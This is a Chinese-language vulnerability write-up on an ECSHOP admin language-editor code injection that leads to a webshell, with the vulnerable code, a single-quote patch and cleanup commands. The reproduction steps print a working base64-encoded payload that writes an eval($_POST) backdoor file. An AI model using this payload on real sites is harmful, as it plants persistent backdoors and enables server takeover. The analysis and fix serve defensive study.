天天看點

ECSHOP \admin\edit_languages.php GETSHELL Based On Injection PHP Code Into /languages/zh_cn/user.php

ECSHOP \admin\edit_languages.php GETSHELL Based On Injection PHP Code Into /languages/zh_cn/user.php

目錄

1. 漏洞描述
2. 漏洞觸發條件
3. 漏洞影響範圍
4. 漏洞代碼分析
5. 防禦方法
6. 攻防思考      

1. 漏洞描述

對于很多CMS網站來說,它們都需要儲存很多的網站META資訊,最常用的最佳實踐是以變量聲明的形式儲存在.php檔案中,在需要的時候直接include進來,PHP File Loader會自動将引入檔案中的變量注冊到目前的代碼空間中,供其他的代碼直接引用。例如

1. phpmyadmin使用config/config.inc.php儲存phpmyadmin的配置資訊:phpmyadmin setup.php代碼注入漏洞
2. ecshop使用/languages/zh_cn/user.php儲存網站的語言配置項:ecshop user.php php curl 代碼動态執行漏洞      

這種将動态的變量儲存在靜态的檔案中,然後利用PHP File Loader的動态引用機制實作本地變量注冊的做法在為CMS架構開發帶來友善的同時,也引入了安全風險,黑客可以通過"模版編輯"、"背景網站基礎描述資訊編輯"、"語言項編輯"等等編輯方式,對這類檔案進行修改,進而将PHP代碼注入到這些.php檔案中,獲得代碼執行的機會

2. 漏洞觸發條件

1. 通路網站背景
http://localhost/ecshop2.7.2/admin/

2. 左邊導航欄
模闆管理 -> 語言項管理 -> 選擇: user.php(會員中心語言包) -> 搜尋: is_paid

3. 對模闆檔案進行編輯
插入${${fputs(fopen(base64_decode(ZnVjay5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbZnVja10pPz4))}}

4. 通路被注入PHP代碼的檔案
    1) 直接通路儲存有PHP惡意代碼(髒資料)的檔案
    http://localhost/ecshop2.7.2/languages/zh_cn/user.php
    2) 通路user.php檔案,user.php會根據目前語言配置引入(include)對應的語言項檔案
    http://localhost/ecshop2.7.2/user.php

5. 生成WEBSHELL
http://localhost/ecshop2.7.2/languages/zh_cn/fuck.php      

通路Exploit URL

被注入檔案中的Curl Syntax代碼獲得執行,WEBSHELL檔案被寫入了磁盤

Relevant Link:

http://www.wooyun.org/bugs/wooyun-2010-024714      

3. 漏洞影響範圍

ecshop 2.7.2
最新版ecshop 2.7.3
更早版本是否存在未知
...      

4. 漏洞代碼分析

我們知道,這個漏洞屬于一個代碼注入漏洞 && 惡意代碼持久化導緻正常檔案被污染的WEBSHELL永久後門的。是以我們分析這個漏洞要從漏洞源頭和被污染的.PHP檔案兩方面入手

我們先來分析一下代碼注入的源頭:\admin\edit_languages.php

.....
/*------------------------------------------------------ */
//-- 編輯語言項
/*------------------------------------------------------ */
elseif ($_REQUEST['act'] == 'edit')
{
    /* 語言項的路徑 */
    $lang_file = isset($_POST['file_path']) ? trim($_POST['file_path']) : '';

    /* 替換前的語言項 */
    $src_items = !empty($_POST['item']) ? stripslashes_deep($_POST['item']) : '';

    /* 修改過後的語言項 */
    $dst_items = array();
    $_POST['item_id'] = stripslashes_deep($_POST['item_id']);

    for ($i = 0; $i < count($_POST['item_id']); $i++)
    {
        /* 語言項内容如果為空,不修改 */
        if (trim($_POST['item_content'][$i]) == '')
        {
            unset($src_items[$i]);
        }
        else
        {
            $_POST['item_content'][$i] = str_replace('\\\\n', '\\n', $_POST['item_content'][$i]);
            /*
            這行代碼是導緻漏洞的關鍵
            将使用者輸入的内容用雙引号("")包裹,并寫入磁盤上的檔案中
            這為黑客提供向磁盤檔案注入"Curl Syntax Code",并進行代碼執行提供了機會
            */
            $dst_items[$i] = $_POST['item_id'][$i] .' = '. '"' .$_POST['item_content'][$i]. '";';
        }
    }
    ....      

這裡存在的安全問題問題有以下幾個

1. edit_languages.php屬于系統的輸入邊界,是接收使用者輸入資料的地方

2. edit_languages.php沒有對使用者輸入的資料進行有效過濾、轉義,導緻黑客将PHP代碼注入到user.php檔案中

3. 沒有遵循"資料"、"代碼"分離的原則,user.php本質上是用來儲存資料資訊的,但是卻被以黑客可以随便通路的.php檔案的形式儲存在磁盤上。要做好資料、代碼的邏輯分離,可以采用以下2種最佳安全實踐
    1) 在儲存資料的檔案頭部使用 ifundine then exit的防禦代碼
    2) 使用.txt檔案擴充名儲存這類儲存資料的檔案      

edit_languages.php接收了使用者的輸入後,将修改後的資訊儲存在user.php中,我們繼續來分析一下這個檔案

/languages/zh_cn/user.php

$_LANG['is_paid'] = "${${fputs(fopen(base64_decode(ZnVjay5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbZnVja10pPz4))}}";      

這裡的關鍵在于PHP Curl Syntax文法,在雙引号("")中的的代碼("${${....")會被PHP解釋器進行動态執行

關于PHP的這種動态代碼執行的文法的相關知識,請參閱另外的文章

http://www.cnblogs.com/LittleHann/p/3522990.html
//搜尋:0x10: Curly Syntax      

5. 防禦方法

這種複合型的注入後污染磁盤檔案,進而留下永久型檔案後門的漏洞,修複方案也必須采用符合的方案

0x1: 修複\admin\edit_languages.php

将儲存到user.php中的字元串改為使用單引号('')包裹,在單引号模式下,PHP Curl Syntax("${${...")是無法執行的,這可以有效從源頭上阻止新的WEBSHELL漏洞檔案的産生

.....
/*------------------------------------------------------ */
//-- 編輯語言項
/*------------------------------------------------------ */
elseif ($_REQUEST['act'] == 'edit')
{
    /* 語言項的路徑 */
    $lang_file = isset($_POST['file_path']) ? trim($_POST['file_path']) : '';

    /* 替換前的語言項 */
    $src_items = !empty($_POST['item']) ? stripslashes_deep($_POST['item']) : '';

    /* 修改過後的語言項 */
    $dst_items = array();
    $_POST['item_id'] = stripslashes_deep($_POST['item_id']);

    for ($i = 0; $i < count($_POST['item_id']); $i++)
    {
        /* 語言項内容如果為空,不修改 */
        if (trim($_POST['item_content'][$i]) == '')
        {
            unset($src_items[$i]);
        }
        else
        {
            $_POST['item_content'][$i] = str_replace('\\\\n', '\\n', $_POST['item_content'][$i]);
        /*
        這行是patch代碼的關鍵,将原本的雙引号("")改為了單引号(''),有效地組織了代碼注入後的執行
        */
            $dst_items[$i] = $_POST['item_id'][$i] .' = '. '\'' .$_POST['item_content'][$i]. '\';';
        }
    }
    .....      

0x2: 修複/languages/zh_cn/user.php

被黑客進行代碼注入攻擊之後,這個usre.php已經成為了一個新的後門,需要對其中的惡意代碼進行清理,即髒資料清洗

将語言模版檔案中的雙引号,全部換成單引号

1. Linux

sed -i "s/\"/'/g" calendar.php 
sed -i "s/\"/'/g" common.php 
sed -i "s/\"/'/g" demo.php 
sed -i "s/\"/'/g" shopping_flow.php  
sed -i "s/\"/'/g" user.php       

這種方法還需要細化,如果直接簡單地去将""替換為'',會導緻檔案解析出錯

$_LANG['img_type_tips'] = '<font color='red'>小提示:</font>';      

這行被我們替換為單引号之後,程式解析出錯了

2. Windows

暫無

6. 攻防思考

從攻防的角度上來看,ecshop的這個漏洞屬于"代碼注入(code injection)",但是和普通的sql injection的差别在于

1. 檔案/模版編輯類 注入漏洞的的注入的目标對象是磁盤上的靜态php檔案,而不是資料庫
2. 檔案/模版編輯類 在進行代碼注入後,往往不是立即生效,而是要通過之後的通路或者被其他檔案引入,才能執行被注入檔案中的curl syntax代碼      

對于這種漏洞的防禦,除了采用和和sql injection類似的輸入過濾、執行過濾的代碼防禦思想外,還需要解決一個"髒資料清理"的問題

檔案型代碼注入的結果是黑客将攻擊代碼永久固化在了檔案中(存儲在資料表字段中的代碼注入也是類似的道理),被污染的檔案就被轉換為了一個WEBSHELL後門,即成為一個新的漏洞點,要徹底解決這個問題,需要同時做到

1. 輸入過濾,将WEBSHELL PHP CODE注入的源頭堵住
2. 對已經被注入的,對儲存髒資料的WEBSHELL後門檔案進行清理      

Copyright (c) 2014 LittleHann All rights reserved